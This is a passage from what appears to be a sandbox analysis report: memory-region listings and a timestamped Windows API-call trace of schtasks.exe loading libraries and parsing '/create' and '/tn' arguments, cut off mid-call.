start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4779 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4780 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4781 start_va = 0x670000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 4782 start_va = 0x800000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 4783 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4784 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4785 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4786 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4787 start_va = 0x1c00000 end_va = 0x1ecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4788 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4789 start_va = 0x400000 end_va = 0x47cfff monitored = 0 entry_point = 0x40cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4790 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4791 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4792 start_va = 0x1ed0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4793 start_va = 0x1fe0000 end_va = 0x20befff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 4794 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4804 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 4805 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4808 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4809 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4810 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4811 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4812 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4813 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4814 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 220 os_tid = 0xa38 [0163.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1df8a0 | out: lpSystemTimeAsFileTime=0x1df8a0*(dwLowDateTime=0x2d7cecc0, dwHighDateTime=0x1d8a92a)) [0163.201] GetCurrentProcessId () returned 0xa34 [0163.201] GetCurrentThreadId () returned 0xa38 [0163.201] GetTickCount () returned 0x138cec9 [0163.201] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1df8a8 | out: lpPerformanceCount=0x1df8a8*=2064206463843) returned 1 [0163.202] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0163.202] __set_app_type (_Type=0x1) [0163.202] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0163.202] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0163.203] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0163.203] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0163.203] _onexit (_Func=0xff482afc) returned 0xff482afc [0163.203] _onexit (_Func=0xff482b58) returned 0xff482b58 [0163.204] _onexit (_Func=0xff482b80) returned 0xff482b80 [0163.204] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0163.204] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0163.204] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0163.204] _onexit (_Func=0xff482c20) returned 0xff482c20 [0163.204] _onexit (_Func=0xff482c48) returned 0xff482c48 [0163.204] _onexit (_Func=0xff482c70) returned 0xff482c70 [0163.205] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0163.205] WinSqmIsOptedIn () returned 0x0 [0163.205] GetProcessHeap () returned 0x200000 [0163.205] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b960 [0163.205] SetLastError (dwErrCode=0x0) [0163.206] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0163.206] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0163.206] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0163.206] VerifyVersionInfoW (in: lpVersionInformation=0x1df060, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1df060) returned 1 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b980 [0163.206] lstrlenW (lpString="") returned 0 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x2) returned 0x21b9a0 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215900 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b9c0 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215930 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215960 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215990 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x2159c0 [0163.206] GetProcessHeap () returned 0x200000 [0163.206] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21b9e0 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x2159f0 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a20 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a50 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215a80 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21ba00 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ab0 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ae0 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b10 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b40 [0163.207] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0163.207] SetLastError (dwErrCode=0x0) [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215b70 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ba0 [0163.207] GetProcessHeap () returned 0x200000 [0163.207] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215bd0 [0163.208] GetProcessHeap () returned 0x200000 [0163.208] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c00 [0163.208] GetProcessHeap () returned 0x200000 [0163.208] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215c30 [0163.208] GetProcessHeap () returned 0x200000 [0163.208] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21ba20 [0163.208] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.208] GetProcessHeap () returned 0x200000 [0163.208] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x208) returned 0x21bbc0 [0163.208] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0163.208] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0163.210] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0163.210] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0163.213] GetProcessHeap () returned 0x200000 [0163.213] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21c170 [0163.213] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0163.213] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21c170 | out: lpData=0x21c170) returned 1 [0163.213] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0163.213] VerQueryValueW (in: pBlock=0x21c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1df148, puLen=0x1df1b0 | out: lplpBuffer=0x1df148*=0x21c50c, puLen=0x1df1b0) returned 1 [0163.216] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.217] _vsnwprintf (in: _Buffer=0x21bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1df128 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.217] VerQueryValueW (in: pBlock=0x21c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1df1b8, puLen=0x1df1a8 | out: lplpBuffer=0x1df1b8*=0x21c338, puLen=0x1df1a8) returned 1 [0163.217] lstrlenW (lpString="schtasks.exe") returned 12 [0163.217] lstrlenW (lpString="schtasks.exe") returned 12 [0163.217] lstrlenW (lpString=".EXE") returned 4 [0163.217] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.218] lstrlenW (lpString="schtasks.exe") returned 12 [0163.218] lstrlenW (lpString=".EXE") returned 4 [0163.218] _memicmp (_Buf1=0x21ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.218] lstrlenW (lpString="schtasks") returned 8 [0163.218] GetProcessHeap () returned 0x200000 [0163.218] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215d20 [0163.218] GetProcessHeap () returned 0x200000 [0163.218] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ca80 [0163.218] GetProcessHeap () returned 0x200000 [0163.218] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cab0 [0163.218] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cae0 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21ba40 [0163.219] _memicmp (_Buf1=0x21ba40, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa0) returned 0x21bfc0 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cb10 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cb40 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cb70 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21ba60 [0163.219] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x200) returned 0x21d250 [0163.219] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.219] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.219] GetProcessHeap () returned 0x200000 [0163.219] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217a20 [0163.220] _vsnwprintf (in: _Buffer=0x21bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1df128 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0163.220] GetProcessHeap () returned 0x200000 [0163.220] GetProcessHeap () returned 0x200000 [0163.220] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c170) returned 1 [0163.220] GetProcessHeap () returned 0x200000 [0163.220] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c170) returned 0x74e [0163.220] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c170 | out: hHeap=0x200000) returned 1 [0163.220] SetLastError (dwErrCode=0x0) [0163.220] GetThreadLocale () returned 0x409 [0163.220] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="?") returned 1 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="create") returned 6 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="delete") returned 6 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="query") returned 5 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="change") returned 6 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="run") returned 3 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.221] lstrlenW (lpString="end") returned 3 [0163.221] GetThreadLocale () returned 0x409 [0163.221] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.222] lstrlenW (lpString="showsid") returned 7 [0163.222] GetThreadLocale () returned 0x409 [0163.222] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.222] SetLastError (dwErrCode=0x0) [0163.222] SetLastError (dwErrCode=0x0) [0163.222] lstrlenW (lpString="/create") returned 7 [0163.222] lstrlenW (lpString="-/") returned 2 [0163.222] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.222] lstrlenW (lpString="?") returned 1 [0163.222] lstrlenW (lpString="?") returned 1 [0163.222] GetProcessHeap () returned 0x200000 [0163.222] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c170 [0163.222] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.222] GetProcessHeap () returned 0x200000 [0163.222] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21c190 [0163.222] lstrlenW (lpString="create") returned 6 [0163.222] GetProcessHeap () returned 0x200000 [0163.222] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c1b0 [0163.222] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.222] GetProcessHeap () returned 0x200000 [0163.222] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21c1d0 [0163.222] _vsnwprintf (in: _Buffer=0x21c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.222] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.222] lstrlenW (lpString="|?|") returned 3 [0163.222] lstrlenW (lpString="|create|") returned 8 [0163.222] SetLastError (dwErrCode=0x490) [0163.223] lstrlenW (lpString="create") returned 6 [0163.223] lstrlenW (lpString="create") returned 6 [0163.223] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.223] GetProcessHeap () returned 0x200000 [0163.223] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c190) returned 1 [0163.223] GetProcessHeap () returned 0x200000 [0163.223] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c190, Size=0x14) returned 0x21c1f0 [0163.223] lstrlenW (lpString="create") returned 6 [0163.223] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.223] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.223] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.223] lstrlenW (lpString="|create|") returned 8 [0163.223] lstrlenW (lpString="|create|") returned 8 [0163.223] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.223] SetLastError (dwErrCode=0x0) [0163.223] SetLastError (dwErrCode=0x0) [0163.223] SetLastError (dwErrCode=0x0) [0163.223] lstrlenW (lpString="/tn") returned 3 [0163.223] lstrlenW (lpString="-/") returned 2 [0163.223] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.223] lstrlenW (lpString="?") returned 1 [0163.223] lstrlenW (lpString="?") returned 1 [0163.223] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.223] lstrlenW (lpString="tn") returned 2 [0163.223] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.224] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.224] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.224] lstrlenW (lpString="|?|") returned 3 [0163.224] lstrlenW (lpString="|tn|") returned 4 [0163.224] SetLastError (dwErrCode=0x490) [0163.224] lstrlenW (lpString="create") returned 6 [0163.224] lstrlenW (lpString="create") returned 6 [0163.224] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.224] lstrlenW (lpString="tn") returned 2 [0163.224] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.224] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.224] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.224] lstrlenW (lpString="|create|") returned 8 [0163.224] lstrlenW (lpString="|tn|") returned 4 [0163.224] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.224] SetLastError (dwErrCode=0x490) [0163.224] lstrlenW (lpString="delete") returned 6 [0163.224] lstrlenW (lpString="delete") returned 6 [0163.224] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.224] lstrlenW (lpString="tn") returned 2 [0163.224] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.224] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|delete|") returned 8 [0163.224] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.225] lstrlenW (lpString="|delete|") returned 8 [0163.225] lstrlenW (lpString="|tn|") returned 4 [0163.225] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0163.225] SetLastError (dwErrCode=0x490) [0163.225] lstrlenW (lpString="query") returned 5 [0163.225] lstrlenW (lpString="query") returned 5 [0163.225] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.225] lstrlenW (lpString="tn") returned 2 [0163.225] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.225] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|query|") returned 7 [0163.225] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.225] lstrlenW (lpString="|query|") returned 7 [0163.225] lstrlenW (lpString="|tn|") returned 4 [0163.225] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0163.225] SetLastError (dwErrCode=0x490) [0163.225] lstrlenW (lpString="change") returned 6 [0163.225] lstrlenW (lpString="change") returned 6 [0163.225] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.225] lstrlenW (lpString="tn") returned 2 [0163.225] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.225] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|change|") returned 8 [0163.226] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.226] lstrlenW (lpString="|change|") returned 8 [0163.226] lstrlenW (lpString="|tn|") returned 4 [0163.226] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0163.226] SetLastError (dwErrCode=0x490) [0163.226] lstrlenW (lpString="run") returned 3 [0163.226] lstrlenW (lpString="run") returned 3 [0163.226] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.226] lstrlenW (lpString="tn") returned 2 [0163.226] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.226] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|run|") returned 5 [0163.226] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.226] lstrlenW (lpString="|run|") returned 5 [0163.226] lstrlenW (lpString="|tn|") returned 4 [0163.226] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0163.226] SetLastError (dwErrCode=0x490) [0163.226] lstrlenW (lpString="end") returned 3 [0163.226] lstrlenW (lpString="end") returned 3 [0163.226] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.226] lstrlenW (lpString="tn") returned 2 [0163.226] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.226] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|end|") returned 5 [0163.226] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.226] lstrlenW (lpString="|end|") returned 5 [0163.226] lstrlenW (lpString="|tn|") returned 4 [0163.226] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0163.227] SetLastError (dwErrCode=0x490) [0163.227] lstrlenW (lpString="showsid") returned 7 [0163.227] lstrlenW (lpString="showsid") returned 7 [0163.227] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.227] GetProcessHeap () returned 0x200000 [0163.227] HeapValidate (hHeap=0x200000, 